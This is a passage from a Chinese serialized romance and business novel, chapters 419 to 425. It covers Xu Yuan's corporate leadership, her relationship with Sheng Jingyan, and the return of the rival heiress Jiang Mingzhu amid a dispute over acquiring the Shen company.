江惊蛰淡淡的嗯了一声继续乏味的吃柚子喝茶,搭配起来还挺新鲜。 “你当初背着许愿跟那……那什么东西一起的时候我就劝过你,阿愿多好的人啊,模样好性格好能力好,这么说罢,我这种四海为家整日浪荡不谈感情的遇到阿愿这样的都想定下来,不过我知道我不配所以我不祸害阿愿,你吧,你是祸害个没完。” “结婚的时候不珍惜,隐婚冷暴力,爱都给了一个小丑,离婚后肆无忌惮的伤害她,你不记得她喜欢的不记得她想要的,不记得她母亲留下的东西,一针一针往她心口戳,她好不容易看开了你又回头说后悔了。” “世界上哪儿有那么多后悔药可吃,要我说你放过她得了,她现在过的不是挺开心快乐的?” 宋野是真拿许愿当朋友。 许愿是什么样的女人啊? 论样貌,她可以满足爱人对她的所有期待;论能力,她可以碾压业内高层;论情商,她可以向下兼容对任何值得友善对待的人抱有善意;论品性,她善良美好,研发抗癌药物并免费治疗重病患者就是事实;论深情,在最青葱的年岁爱了傅京礼那么多年任由她伤害,却又在爱上盛景炎后不离不弃。 这样的人,任谁站在这里都说不出她半句不是。 因为她太好了。 好到让人看到她的瞬间,甚至会有种错觉,自己配评价她吗? 她这样好的人就该过最好的人生,她才配站在最顶端俯瞰众人。 宋野为什么会在这种时候说出这些话? 其实他才是最难过的人。 其实早在许愿没有嫁给傅京礼的时候他就听说过A大的许愿了,后来知道许愿嫁给傅京礼,又跟许愿有过合作,他内心早就把许愿当做妹妹看待。 在他心里许愿和傅京礼天造地设的一对儿,哪怕中间会经历波折最后也还是会在一起的。 可是万万没想到傅京礼真的会背叛许愿选择了许宁,他甚至多次伤了许愿,并提出离婚,那样轻描淡写的将许愿踢出了他们的夫妻生活。 他那时是不能接受的,他看好的妹妹凭什么要被如此对待。 若非傅京礼是他自小一起长大的好兄弟,他定然会约一架,可纵然没约假宋野也有一段时间没联系过傅京礼,自顾自的生闷气,这还是看在傅京礼现在后悔可怜的份儿上重新联系的。 容浔听到宋野说的这些但笑不语,坦白来讲他认为宋野说的没错。 许愿就是足够优秀,否则他也不会直到现在也无法释怀傅氏特三角分崩离析的事,他很清楚如果许愿还在傅氏沦落不到如今境地。 但现在说再多都没用,许愿已经做出了最后的选择。 容浔沉默的将目光落到傅京礼脸上,他还在盯着餐盘内的两瓣柚子。 柚子这种东西他向来是不爱吃的,但此刻却目不转睛的望着那两瓣柚子,然后用刀叉切成一小块一小块的,仿佛这样就能吃的更久一些。 容浔叹了口气。 他知道的,傅京礼是真的栽了。 …… 第420章 天之骄女姜明珠 “如果许愿还在傅氏,傅氏铁三角还在,怕是盛世压不住傅氏。” 宋野叹了口气,像是也觉得可惜。 他像是可惜傅氏,却又像是可惜许愿和傅京礼。 容浔眸光闪了闪:“这种情况也不会太久。” 宋野顿了下挑眉:“什么意思。” “姜明珠即将回国,姜明珠的身份还需要我来给你介绍吗?” 容浔微笑:“姜家嫡系三小姐,曾经十几岁在娱乐圈闯荡被人成为国民闺女后退圈在科研界和金融圈有一席之地的姜明珠,我和傅京礼的学姐。” 宋野明显怔住。 姜明珠,那确实是天之骄女。 姜家主要势力是在B市,是B市上流圈层背景雄厚的家族,其中姜家嫡系三兄妹,姜明钰、姜明烨、姜明珠这三人也是遗传了姜家优秀基因,可以说姜家每一个人都是容貌上乘且理智的,换句话说姜家人最适合智性恋。 姜明珠这辈子最幼稚的也就是十三四岁混了下娱乐圈,结果参加个选秀综艺C位出道后演了两部电影被提名拿了最佳女配混成了国民闺女,最红的时候选择退圈隐匿。 在所有人的都以为姜明珠被圈内大佬圈进封杀的时候被爆出姜明珠是B市姜家嫡系血脉并十几岁的年纪在海外满分修完自己的课程拿到全A并完成本硕连读后加入海外研究组织为华国骗回了几名优秀的科研人员。 姜明珠十八岁组建自己的科研团队,可以说姜家很多新品乃至能跟海外公司对抗的产品都是姜明珠参与研究的。 许愿因为莱蒂斯的洪门谈判被人熟知,那姜明珠对的不是莱蒂斯,却也是跟莱蒂斯地位相仿的人,姜明珠对应的是海外的康莱尔,完全碾压并逼迫对方低价出售手中股份与产业。 如果说国内还有人能与许愿抗衡的女性资本,那首当其冲的就是姜明珠。 姜明珠的美貌智商与人脉统统不输许愿,可能唯一输给许愿的就是姜明珠情商比较低,说出的话不是那么中听。 如果姜明珠回国甚至打算来A市……而恰巧又选择了成为傅氏的盟友,那许愿和盛世怕是真的要头疼了。 毕竟许愿能做的姜明珠也能做,许愿拥有的人脉姜明珠同样拥有,许愿搞科研,姜明珠亦然。 可以说是方方面面堵死了许愿的路。 容浔这时候请姜明珠回来,任谁都能看出这是针对。 宋野此刻都有些冷静不下来。 “如果我没记错,姜明珠是陆斯年的未婚妻,而陆斯年是盛华的总裁,你怎么就能确定姜明珠一定会站在傅氏那边而不是选择站在陆斯年的盛华这边?” “如果姜明珠选择盛华那就是选择了许愿,这对傅氏来说只是多了一个大敌。” “姜明珠这人最大的优点就是讲信用,她已经答应我们的事就不会食言。” 容浔微笑:“傅氏没了许愿还有姜明珠,没了沈略还能有姜明珠的两位哥哥,所以傅氏从来不缺强者,被盛世超越也只是暂时的,属于傅氏的我们会夺回来。” 宋野无言以对。 他猜想这件事容浔早就想过了,或许是许愿离开傅氏那天容浔就已经计划联系姜明珠了。 许愿现在在网络上确实很红,但她的红比不过姜明珠,姜明珠混过娱乐圈,且因为优越的出身和逆天的颜值与智商,知道姜明珠的都是她的路人粉丝,路人缘极好,哪怕是那些中老年人提到姜明珠也是赞不绝口。 许愿就不同了,她还没有姜明珠如今的知名度与国民度。 容浔这种时候请姜明珠回国来跟许愿打擂台,真是……居心叵测啊。 宋野深深的看了容浔一眼:“你早就打算好的?” 容浔切着盘中已经冷掉的牛排,带着笑意道:“未雨绸缪。” 他早就说过,他是利傅京礼主义者,许愿的离开是傅氏的损失,那他就会从其它方向来填补傅氏的损失,许愿成为傅氏的对手敌人,那他就会请来一位能跟许愿打擂台对立的人。 傅氏可以暂时居于下风,但不能一直居于下风。 宋野无言以对。 只觉得未来A市怕是天都要变了。 …… 容浔和宋野都交流了什么许愿一概不知,她将陆斯年、薛酒和左司介绍给沈略,沈略当时整个人都傻在原地。 他其实曾经隐隐有过猜想,但是没有真的敢往那层想。 直到现在许愿把人带到面前,沈略才克制不住的问出来。 “盛华幕后真正的主人是谁。” 陆斯年摇晃着酒杯,温润的面容上闪过一抹笑意,目光稳稳落在正在剥柚子的许愿身上。 薛酒拿着一把水果刀抢了个柚子在上面雕花玩儿,听到沈略的问话挑了下眉,然后刀尖指了下许愿,显然是回答了。 左司比较直接,直接看向许愿,算是作答。 盛华三巨头,陆斯年、薛酒、左司、这三人全都指向许愿,就已经能够说明问题了。 盛华幕后的人真是许愿。 以前不敢深想的摆到了眼前,怪不得许愿有那样的人脉圈,盛华最初本就建立在海外,合作的都是海外强盛资本,怪不得盛华会跟盛世合作,原来幕后的人是许愿。 如果许愿是盛华的幕后老板,那许愿接手盛世就更有说服力了。 她是真的为了盛景炎才接手了盛世。 “我想到过有这个可能,但是没想到事实真的如此。” 沈略已经有些语无伦次了。 许愿已经在剥第二个柚子了,桌上的人都有几瓣柚子,据说是许愿让吃柚子的,说是帮着沈略散散霉运。 “我不是跟你讲了,因为我的身份所以上面才能让我将你保出来,这层身份也是一层保障。” 盛华都已经从海外搬回国了,这态度,这政治思想都不用说的,她只是保一个被诬陷愿望的沈略还不是动动嘴的事情? 沈略深吸了一口凉气,然后目光逐渐落到盛景炎脸上。 “我现在觉得……你跟盛总好像不是那么般配了。” 盛景炎:? 坐着也中枪? 第421章 吃不吃夜宵 盛景炎还没说什么,许愿就已经笑吟吟的给他盛了碗汤。 “我觉得我们很般配。” 许愿微笑的看着沈略:“你也是这样认为的对吗。” 沈略失笑:“是。” 刚才也不过是被许愿的身份惊到了,其实许愿跟盛景炎在一起他觉得很好。 因为跟盛景炎在一起后她越来越鲜活了,好像每天都很开心,跟傅京礼在一起时全然不同的,这样很好。 知道了许愿的真实身份,沈略也不再拘谨了。 许愿准备的柚子和水果太多,其实她还备上了警备队的,等这群人均身高一米八几的大男人们都收到了水果礼盒后面面相觑,完全没想到许愿整这一出。 但现在许愿是他们的保护对象,算是他们的“老板”,且这些水果许愿他们也在吃,绝对不是贿赂,纯让他们分担霉运了。 再说,也没人贿赂会发水果的,所以刑从景让他们都收了。 …… 约过饭许愿还不忘跟盛景炎给段星河打包了他要的点心,哦,许愿也特地给研究所那群人每人带了个柚子,还顺道跟后勤部那边提起第二天每个同事都发一份水果礼盒。 这是真铁了心要给沈略去霉运呢。 段星河这个时间还在计算数据,许愿跟他讨论了几组数据,讨论后从段星河这边拿到了一部分设计图,全都是需要计算数据甚至需要重新排版的。 才聚完餐许愿不算累,便打算今晚把东西都整理齐全。 “过来帮我整理设计图。我在每一页的右下角标注着号码,你按照号码把它们摞成一堆就行了。”许愿抬起头,理所当然地吩咐盛景炎帮忙。 盛景炎扫了眼许愿的办公室,办公室里铺满了设计图,桌上、地上全是白花花的一片,每一张图都画着复杂的线条,写着长串的公式。 “这是你和段星河新做的?”他一路往里走一路捡设计稿。 “对。明天早上我要提交完整设计还需要跟段星河再探讨其它的数据问题。”许愿用自己编写的软件飞快描绘图纸。 盛景炎赞叹道:“我们阿愿很厉害。” “没有你厉害。”许愿抬头眉眼含笑隐晦地调戏了一句。 盛景炎被她调戏的次数不算少,但此刻还是忍不住笑意,收拾稿纸的速度也加快不少。 许愿认真打量他一眼,赞叹道:“今天一直在忙事情,忘记说你这身很帅了,对了我记得我给你买了几套新的西装,是我自己画的设计图,应该会很适合你,回家后要记得换给我看。” 盛景炎正收拾着,听到这里挑眉:“你怎么知道我没换,换完后拍了照要看吗。” “要,拿出来给我看看。”许愿终于停下手头的工作,全心全意地看向盛景炎。 盛景炎把所有稿纸捡起来,堆放在桌上,然后才拿出手机到许愿身边,调出照片,一张一张往下翻。 这是许愿设计的衣服,其实偏向于制服感觉的,她知道盛景炎最适合穿这种衣服,非常吸引人。 许愿拽住盛景炎的衣领,眼睛亮晶晶的询问:“吃不吃夜宵?” 盛景炎愣住了,然后很快就意识到夜宵是什么意思。 他喉结微微一滚,即刻答道:“要。” 许愿直接扑过去吻住他,她的办公室锁了门,没人会直接闯进来,倒也方便了他们胡闹。 一小时后,两人不紧不慢地清理后,许愿这次是真的饿了,在华庭的时候没怎么吃东西,一直在剥柚子了,好在回来的时候打包了夜宵,现在把已经冷掉的牛排放进微波炉里热了热,开始吃夜宵填饱肚子,吃完坐在巨大的落地窗前,看着外面的霓虹慢慢喝掉一杯红酒。 借着微醺的酒意,许愿目光落在身边的爱人身上,忍不住笑意凑过去在他唇边亲吻。 吻罢,两人抱在一起低笑,静静在夜色中依偎。这片刻的愉悦足以洗去一整天的疲惫。 然后,许愿坐回电脑前继续工作,盛景炎则拿起稿纸一张一张整理。 夜深了,夜还很长。 整理好所有资料后已经快天亮了。 许愿伸了个懒腰:“终于可以睡一个安稳觉了……” 许愿说话的声音越来越小,盛景炎转头一看才发现她竟然睡了过去。只在几秒钟内,她就已经陷入沙发上睡过去,陷入酣眠,由此可见这段时间她有多累。 盛景炎亲眼见证了她是如何一步一步艰难走过的。 她每天有开不完的会,查不完的账册,写不完的材料。 有些股东只是开个会就差点疯掉,她却把所有会议都录了音,事后反复地去听,反复地去揣摩大家的意图,再逐个去做思想工作,寻求大家的支持。 她像一个陀螺,每时每刻都在连轴转,一般人根本承受不了的工作强度,她却硬生生撑了过来。 她不只是在忙盛世的事,还在忙研究所的事,盛华的事,她是真的很累。 盛景炎亲眼见证了她这一路的成长,却感觉不到半点欣慰。她原本可以不用担负这一切,可他清楚许愿也是为了他,盛世本该是他的责任,他是时候重新回到盛世,不能一直让她这样劳累。 他想让她轻松的生活。 盛景炎看着许愿疲惫的睡颜,目中满是愧疚和懊悔。他脱掉外套盖在她身上,又轻轻捧住她的脑袋,将之挪到自己的肩头。 许愿的脑袋在他肩窝处晃动,细软的头发摩挲着他的侧脸,恰似挠过了他的心尖。 他每隔一会儿便垂下头看看她,眸色不断加深。 天已经大亮,许愿还在安睡,没有醒转的迹象。许愿的手机已经在响了,是盛世的人来的信息,马上到参加会议的时间。 盛景炎很想让她继续休息,但是如果耽搁了会议许愿怕是又要怪他。 他叹了口气举起手,目中满是挣扎,过了很久才轻轻抚了抚许愿苍白的脸颊。 许愿立刻苏醒,眨着湿漉漉的眼睛看过来。 盛景炎在她湿漉漉的眼睛上轻吻了下:“天亮了,你需要参加一场会议,很累的话换我去,你好好休息。” 第422章 这群人都有病 许愿揉揉太阳穴,试图清醒一点。 等清醒了才发现自己竟然盖着盛景炎的西装外套。难怪她做了一个梦里,梦里的自己躺在满带阳光气息的温暖小窝中甜睡,原来这股味道是从盛景炎的衣服里散发出来的,怪不得很有安全感。 “你真打算陪我去呢?” 许愿赖在他怀里蹭了蹭。 他觉得许愿现在有点像睡醒的小猫,浑身都暖融融的。 “本来就是我的责任,现在却连累你这么累。”盛景炎无奈:“我伤的是腿不是脑子。” 盛世本就是他的责任,是他出事后许愿担心他身体扛不住所以才管理盛世,他怎么舍得让她这么累。 “嗯,那我们一起。” 许愿推着盛景炎的轮椅出了办公室,段星河这会儿也醒了,冲了杯黑咖啡还没打算喝,但看到他们两个就清醒的差不多了。 “你们打算一起去参加今天的会议?”段星河问了句。 许愿轻微皱眉。 “不可以吗。” 段星河摇了下头:“不是不可以……就是,大概能想象得到那群人的反应,你们介意我一起去看个戏吗?” “你要去我还能拦着你吗?” 许愿觉得今天的段星河有点奇怪,她还没有彻底清醒,等洗了把脸顺便抢走段星河准备好的早餐后她才恍恍惚惚明白了段星河的意思。 这人说要去看戏还真存了看戏的心思啊。 行,她也想看看那群老古板老古董们能蹦出什么惊世骇俗的言论来。 这次召开的会议是盛世根据盛世后续发展展开的,所以参加会议的都是盛世的诸位董事高层,盛衡已经被踢出局了所以并没在内。 这群人比许愿更在乎盛世未来发展如何,早早就到了会议室内,开始猜测许愿对盛世未来的规划。 待看到许愿和盛景炎同时出现在会议室后这群人脸色变了几分,互相看了几眼,陈飞豪到时一如既往的坐在自己的位置,他的父亲陈建军轻微皱了下眉虽然没说什么但还是小声在陈飞豪耳边问道:“许愿带盛景炎来是什么意思?她不打算管理盛世打算让权给盛景炎吗?” 陈飞豪这一瞬都听愣了。 啊? 不是? 他爸这什么语气啊,当初盛景炎决定让许愿成为盛世新任总裁并让渡股份的时候你们不是这反应啊,不都是担心许愿扛不起着重担逼着许愿离开吗?现在盛景炎如愿回来怎么都还变脸了? 陈飞豪是真觉得他爸有病。 他看了周围高层一圈,顿时觉得其他人也有病,且还病得不轻。 当初要逼着许愿滚出盛世的是你们,现在不想盛景炎回来的也是你们,这期间才过了多久,都没有点自己的立场吗? 段星河就是来看这好戏的,他早就猜到这群人会是这种反应了,顿时乐的眼睛都眯起来。 段星河凑到许愿耳边轻声道:“看到了没有,当你能给他们带来更多利益的时他们就会忘记前一任领袖毫无芥蒂的选择你成为你的附庸。当初反对的是他们,现在要保住你的也是他们,到头来没有一个对你们夫妻二人真正忠心的,全都是忠于自己的利益,多现实。” 许愿微微敛眉,没说什么,将自己准备好的U盘递给身后的助理。 项目还没有投屏,资料还没有发下去,就已经有人开口了。 “许总,你是打算将手中的权利让渡给盛总吗?” 问话的一位董事此前是鉴定的盛家党派,但盛家完蛋后觉得许愿也不错,能够让他们年底拿到更多分红,所以利益至上的选择了许愿。 “我想您应该知道什么叫做让渡,我和阿炎之间不叫让,这是我们彼此共同利益,更何况这本就是阿炎给我的东西,我现在不过是把本该属于他的东西还给他,又怎么能称作是让。” 许愿很清醒,她说的这话已经算是在警告这位董事了。 “你们两个人也真有意思。” 董事很明显有些恼。 “我们需要盛景炎主持大局时盛景炎执意要让你管理盛世,现在我们看到了你的价值需要你掌管盛世,你又要让盛景炎重回盛世,你们拿盛世当什么?” 董事气势汹汹愤怒询问。 许愿眸光冷淡的扫过全场,片刻后开口:“你们也是这么想的?” 诸位董事干笑,陈飞豪却皱眉道:“你们谁上都行,本就是你们的产业。” 话音才落陈建军杵了他一下:“你掺和这事儿干什么。” 陈建军低声斥责。 陈飞豪都无语了,正要反驳,许愿却是慢条斯理的给自己和盛景炎倒了杯热茶,似乎等着他们这群人什么时候吵完了什么时候继续这场乏味的会议。 这群董事还在你一句我一句的提到盛世需要许愿,盛景炎既然受伤了就该在家里面好好养伤不该再掺进盛世的决策大事里面。 许愿面无表情的看着这一幕,已经无聊到开始翻阅文件编写一系列的数据。 等到这群人吵嚷到许愿已经略有几分烦躁了,她将自己怀中已经重新翻看一遍的资料重重的砸到桌面上。 会议室内静下来。 众人目光纷纷落到许愿身上,似乎想找寻个答案。 “请问你们手中有多少股份。” 董事们都僵在原地。 惭愧,他们所有人的股份加起来都不如许愿和盛景炎手中的股份多。 所以每次开董事会议他们就跟挂件没什么区别,说白了就是许愿的一言堂,但偏偏许愿能挣钱,且有旁人无法企及的人脉网,所以他们也不舍得出售自己手中的股份。 “如果诸位对我们的安排不满,可以随时售出手中的股份,我和阿炎会根据市价购买,不会让各位吃亏,你们认为呢。” 许愿这话其实已经算作是威胁了。 董事们果然都安静下来,许愿方才继续会议,确认了盛世接下来的一系列安排。 董事们察觉到许愿的意思了,她还是会继续在盛世,而盛景炎也只是处理部分工作,所以他们也不再有更多意见了,是真的怕许愿将他们排除在外。 会议即将接近尾声,倏地有一位董事倒抽了口凉气。 “姜明珠回国了,现在现身A市北区机场!” “姜氏企业发出信息有意收购A市沈家产业!” 会议室内因为这则消息已经乱作一团。 第423章 姜明珠回国 A市机场 姜明珠的归来无疑是当天机场最引人注目的事件之一。 她身着一套剪裁合体的知性职业套装,每一个线条都恰到好处地勾勒出她的优雅气质与干练形象。这套服装不仅彰显了她对时尚的独特理解,更体现了她在职场上的自信与权威。 她的五官如同精心雕琢的艺术品般立体而迷人,深邃的眼眸仿佛藏着无数的故事,曾经在娱乐圈拍摄电影时就有人评价说姜明珠的脸是一张独属于大荧幕的面容,而那双眼睛就像是会说话,灵动又藏着说不尽的故事。 而她挺直的鼻梁和微微上扬的嘴角为她增添了几分不羁的魅力。那头乌黑亮丽的长发自然垂落在肩头,随着她的步伐轻轻摇曳,宛如流动的黑色绸缎,进一步提升了她的整体美感。 当姜明珠出现在公众视野中时,周围立刻响起了低语声。 机场众人纷纷停下脚步,目光不由自主地被姜明珠吸引所吸引。 无论是等待登机的旅客,还是忙碌的工作人员,都不禁放慢了脚步,想要多看几眼这位仿佛从杂志封面走出来的明星。 “太美了!” 一位年轻女孩低声感叹道,眼中满是羡慕与惊叹。 的确,姜明珠不仅仅是因为她的外貌而令人难以移开视线,更重要的是,她身上散发出来的那种由内而外的自信与魅力,让人感受到一种强大的气场。这种气场让她在人群中显得格外突出,仿佛自带光芒一般。 对于姜明珠来说,这样的关注似乎早已习以为常。 她从容不迫地向前走去,偶尔回应着粉丝们的热情呼喊,脸上始终保持着得体的笑容。 “姜明珠!是姜明珠!” 姜明珠在十几岁拿到奖爆红后就退圈了,后出国留学深造建立自己的研究所很少出现在公共事业,现场有姜明珠的铁粉认出了姜明珠激动的尖叫。 “姜明珠!” “是她!她回国了!” “明珠姐姐!明珠姐姐能不能跟我合照!” “明珠姐姐我好喜欢你的!我因为你也考上了A大!” 姜明珠路人缘太好,当初只拍了那两部电影却收货十几亿的票房,因为那段表演还被表演院校收录,而她的身份和她的高学历更让她在这圈内闪闪发光,可以说遍地都是她的粉丝。 姜明珠察觉到有人在拍自己,她只是微微挑了下眉对着镜头很轻的勾了勾唇角,却是藏不住的强大气场。 姜明珠回国的消息立刻登上热搜榜首。 #姜明珠归国# #姜明珠A市机场# #姜明珠路人缘# 随着姜明珠回国,跟姜明珠有关的此条纷纷上了热搜,足以证明姜明珠的热度。 {靠啊,那是姜明珠啊!谁还没有粉过姜明珠啊!十几岁的年纪玩遍娱乐圈,爱豆出身却拿了最佳女配角的奖项,只拍了那么两部电影全都得奖,退圈后出现在科研频道财经报道,十八岁就已经在国外全A毕业,天才中的天才!现在我们的天才回国了!} {女娲就这么喜欢姜明珠吗?姜明珠十几岁的长相和现在的长相,你告诉我有什么差别,哦,有差别,差别就是姜明珠更美了!浑身都散发着成熟美人的韵味儿!谁能懂姜明珠注意到镜头的时候挑眉看过来时的眼神有多撩人!救命!血槽已空!} {姜明珠是女娲毕设作品,我就是女娲甩出来的泥点子啊……} {完美的家室绝佳的面容超高的智商,简直是我们智性恋眼中的天花板人物,看了姜明珠我才知道我好想也不是什么直女,姐姐我可以!!} {楼上我简直要笑死,拜托那可是姜明珠,让我当她的小猫小狗我都要呲牙笑半天啊啊啊!} {这是什么!姜明珠!这是谁!姜明珠!疯狂贴贴贴!} 微博炸了,全都是在讨论姜明珠的。 而姜氏有意收购沈氏企业的新闻也被爆出来,结合现在姜明珠来到A市,那确实是应该出现在财经报道的消息。 盛世会议室内一片寂静。 最先看到有关姜明珠信息的董事好半天喘不上气。 “姜明珠回到A市了,姜氏打算收购沈氏企业,姜明珠一定是为这件事来的。” 许愿面无表情的翻看热搜词条,倒是盛景炎微微皱眉。 “姜氏是为沈氏来的,沈氏……曾经是从盛世分出去的企业,姜氏打上了沈氏的主意,到底是只想要沈氏还是投石问路警告盛世。” 盛景炎此话一出,会议室又是一片沉寂。 许愿知道姜明珠,真正的天之骄女,容貌智商家室都是上上乘,可以说姜明珠才是真正站在塔尖的那类人物。 从她的名字就可以看出,明珠,姜家的掌上明珠。 而姜家在国内是有红色背景的,姜明珠又是绝对的利国主义者,如果真的对上姜明珠,事情恐怕不好办了。 难点在于姜明珠和许愿涉及的领域撞了,许愿会的姜明珠多半也会,而许愿没有的,例如家室例如绝对的红色背景姜明珠全都有,而姜明珠还有着庞大的路人缘,遇到一些事情舆论也绝对会偏向姜明珠而非她。 所以一旦对上姜明珠,她不一定能讨到好处。 难办了。 “许总,沈氏本该是我们盛世的产业,后来自立门户出去,就选现在要被收购那也该是由我们盛世收购。” “姜氏的主心在B市,现在特地回到A市也不知道是什么心思。” “我看明面上是要对付沈氏,实则是对准了我们盛世吧。” “许总你和姜明珠对上有几分胜算?” “许总,我们盛世的大部分流动资金已经全部都投入到最近的合作当中,就算要收购沈氏产业怕是也拿不出那么多钱。” “沈氏绝对不能让姜家夺走!姜家闹出这一出就是为了试验我们盛世的底线,如果沈氏都守不住夺不回来,那姜氏下一秒就要针对我们盛世了!” 董事会众人炒作一团。 许愿垂眸,声音冷淡:“这件事我会跟盛总私下商议,先散会。” 第424章 属于盛世的没有人能夺走 “许总,你总要给我们个准话,是不是真的能夺回沈氏!” “我们盛世总不能还没有对上姜氏就认输的道理!” 有董事拍案而起情绪激动。 倏地,只听到茶杯砸到地面的剧烈声响。 众人愣住,却见是盛景炎的茶杯被他“失手”砸到地面上,他眸光冰冷,声音都带着明显的凉薄之意。 “没有姜氏和姜明珠前也没见你们想收回沈氏企业,在你们口中收回沈氏企业就是这么简单的事情,那不如你们亲自负责这个项目。” 开玩笑!谁要接这烫手山芋啊! 姜氏的人都来了,派出来的人还极有可能是姜明珠,他们疯了才会去跟姜明珠正面杠上! 董事们面面相觑,最后还是有人站出来问道:“我们就是想知道许总能不能给我们个准话,我们从前没想着收回沈氏是因为没有人抢沈氏,但姜家明显来着不善,这就跟要突破我们的三八防线一个道理,守不住沈氏就可能守不住盛世。” 是的。 没有姜氏,沈氏会一直在那里。 但有了姜氏,沈氏就有危机,沈氏有了危机,姜氏就有可能将矛头对准盛世。 所以他们的担心是很有必要的。 许愿手放到盛景炎肩上拍了拍,她知道盛景炎已经动怒,但是这次董事们并不是故意在惹火,他们的担心不无道理。 姜家的子弹都已经要打到家门口了,他们盛世总不能只一味的防御躲避吧,如果不主动出击,迟早有一天会被姜家一锅端。 “属于盛世的我不会让其他家族的人夺走,这个答案你们满意吗。” 这是许愿给出的承诺。 她几乎是明确的告诉这群人,既然沈氏本该属于盛世,那她就会守住沈氏,不会让任何人夺走。 董事们都清楚许愿不是说大话的人,她说到就一定能做到。 这群人松了口气,虽然面上还是紧张,但有了许愿的承诺他们也不是那么担心了。 董事们稀稀拉拉离开会议室,直到会议室只剩许愿、盛景炎、陈飞豪和段星河。 陈飞豪将会议室的门关上,他长长的呼出口气。 “许愿,你认真的吗?真要跟姜明珠杠上?” “你今天把话放到这里,未来如果你没守住沈氏,那群老东西一定会来攻击你。” “姜明珠是谁?姜家嫡系,家室也好背景也好哪一样拿出来我们都没得比,你知道她身份放到古代那是什么吗?真正的皇亲国戚,说不定还能混个公主郡主当当,我们势力再大也抵不过姜明珠啊!” 陈飞豪是站在许愿这边的,但是这次也觉得许愿过于冲动了。 许愿和盛景炎还没说话,倒是段星河笑出声。 “比家室比背景吗?” “你觉得许愿会输给姜明珠吗?” 陈飞豪不明白段星河的意思,他记得许愿的身份挺简单的,唯一不简单的是她的生母苏青莲,且苏青莲不是已经死了吗?许愿现在背后可没什么人。 段星河见他皱眉似乎真的在想许愿的身份忍不住捏了捏眉心。 “你不会真以为跟在许愿身边的人只是普通保镖这么简单吧。” 陈飞豪愣了下,似乎有些疑惑。 段星河为他答疑解惑。 “既然你前面提到姜明珠的身份如果放到古代是皇亲国戚市公主郡主,那许愿身边那位邢队放到古代大概就是九门提督护国将军的身份,你说许愿没身份没背景这样的人物凭什么给她当保镖?” 陈飞豪整个人都怔住。 “不光这位邢队,国安部的顾先生,经济部首席执行官……这群人都曾是苏青莲的爱慕者至今未婚,你猜是为什么?而且刑从景的身份不可能被派来保护许愿,你猜如果不是他自己向上反映接了这任务谁能安排他?” “姜明珠的姜家势力大不假,但许愿这边的诸位长辈也都不是吃素的。” “放到古代那就等于是大将军、文官之首的丞相都要站到许愿这里了,一文一武都站许愿,姜明珠就算是权势滔天的长公主也只有让位的地步。” 段星河这样比喻形容,陈飞豪立刻就听懂了。 他看向许愿的眼神肃然起敬。 许愿面色却说不上好看,她并不想利用苏青莲的人脉,她自己可以搞定的事情不需要苏青莲的人。 段星河多聪明的人,立刻看出许愿纠结的点。 “我知道你想证明自己,但是……这么多年苏青莲欠你太多,有时候她的人脉该用就用。” 段星河才是最清醒的。 许愿沉默片刻:“我能自己解决的事情暂时还用不到她的人。” 段星河但笑不语。 …… 姜家来到A市并打算收购沈氏的消息已经爆出去,而姜家来A市前也搜罗了不少资料。 接到助理的电话,听那边汇报完工作,姜家嫡系排行老大的姜明钰挂断电话。 他盯着手机屏幕上的一张照片沉思。 照片是记者在盛世总部门口抓拍的,一名身材纤瘦、容貌美丽的女子搀扶着一位老人坐进汽车里,老人虽然只露出一张侧脸,却不难看出他的表情非常凝重,而这位老人赫然就是国内有名的一位投资家。几名中年男人从大楼里追出来,显得十分焦急。 画面中唯独女人眉目低垂,红唇轻抿,静谧而又淡雅,像是一株盛开在幽谷中的兰。 这张照片的基调是灰暗的,然而因为有了女子的存在,却又在转瞬间变得鲜活起来。 在此之前,姜明钰来到A市前知道盛景炎出车祸受重伤,知道许愿的能力却也没有真的把她放心上,但是没想过这样一个看似柔弱的女子竟会成为他收购沈氏产业的拦路虎。 有许愿在,怕是要费点心思了。 不过这点小阻碍并不能给他造成多大的麻烦,他看中的猎物从来就没逃脱过,哪怕许愿在此前切断了他所有的路,他照样有办法把自己想要的东西弄过来。 姜明烨,也就是姜明钰的弟弟,见兄长总是盯着手机屏幕发呆,忍不住伸长脖子看了一眼,随即感叹道:“哥,原来你看的是她啊!” 第425章 姜明钰 “这女人蠢死了,被傅京礼伤了心不够又跟盛景炎这个浪荡子在一起,现在盛景炎腿都断了还要留在盛景炎身边,现在又给盛家当牛做马的看顾盛世,你说她图什么?我要是记者,我都想跑到她面前去采访采访她,真搞不懂这些傻子的脑回路。” 姜明钰只是笑了笑,没说话。 到目前为止,他依然没把许愿看在眼里。 恰在此时,他的助理打了一个电话过来,语气十分凝重:“姜总,您让我办的事没办成,那边不答应。” “为什么,是嫌我薪水给的不够?”姜明钰姿态闲散。 在来到A市前姜明钰就已经打算挖空许愿的建立的团队,挖走她的团队那许愿一个人怕是也做不成什么大事。 但显然这条路行不通了。 “负责人说许愿对他们有知遇之恩,又在危难之际一直没放弃他们的研究,他们是盛世的人不会被挖走,会一直跟着许愿,不愿意跳槽。” “你开的价码是多少?” “已经是您给的上限了。” 姜明钰终于严肃起来,沉吟道:“那就暂且搁置这个计划吧,不要再与研发小组的人接触。” “好的姜总。” 看着逐渐黑暗下去的手机屏幕,姜明钰眸光不停变幻。 他完全没料到在金钱的诱惑下,盛世的研发团队还能不为所动,看来许愿没白做工。她收拢人心的能力完全超出了他的预料。 发觉兄长表情不对,姜明烨小心翼翼地问道:“哥,你怎么了?没挖到人?不能吧?” 许愿对自己的团队让出的利益只能看得到的,甚至还会给分红,福利是任何公司都比不上的,所以没有人会背叛许愿。 “没挖到,盛华和盛世的研发团队对许愿很忠心。这个女人还真是让我刮目相看,”姜明钰喟叹道:“我擅长迂回战术,这个女人却擅长打直球,我俩似乎有些相克。” 事实上许愿不是擅长打直球,她只是将自己的团队看做自己人,所以才会更直接的给出好处,只要不是傻子都知道如何做选择。 能让兄长吃瘪的人姜明烨还是头一次见,对许愿不免更为好奇,挠着后脑勺说道:“哥,你越说我就越想跟她见一面了。” “那就见一面吧。”姜明钰轻笑着拨打了一个电话。 许愿毫不意外自己会接到姜明钰的电话,事实上她的人已经联系她提到姜氏打算挖人的打算,姜氏失败了,必定会私下联系她谈其他好处。 对于这位姜家现任家主,许愿也确实打算见一面。 许愿提前十分钟来到某会所的顶楼,却没料姜明钰和姜明烨比她来得还早。盛景炎因为要参与治疗所以不知道此事,许愿便联系了段星河跟自已一起。 到了会所,段星河轻轻拍了拍她的肩膀,示意她别紧张。 其实许愿一点儿也不紧张,姜明钰再厉害也只是在商场上,断不会在现实中与她为难。 姜明钰听到开门声朝她所在的方向看过去。 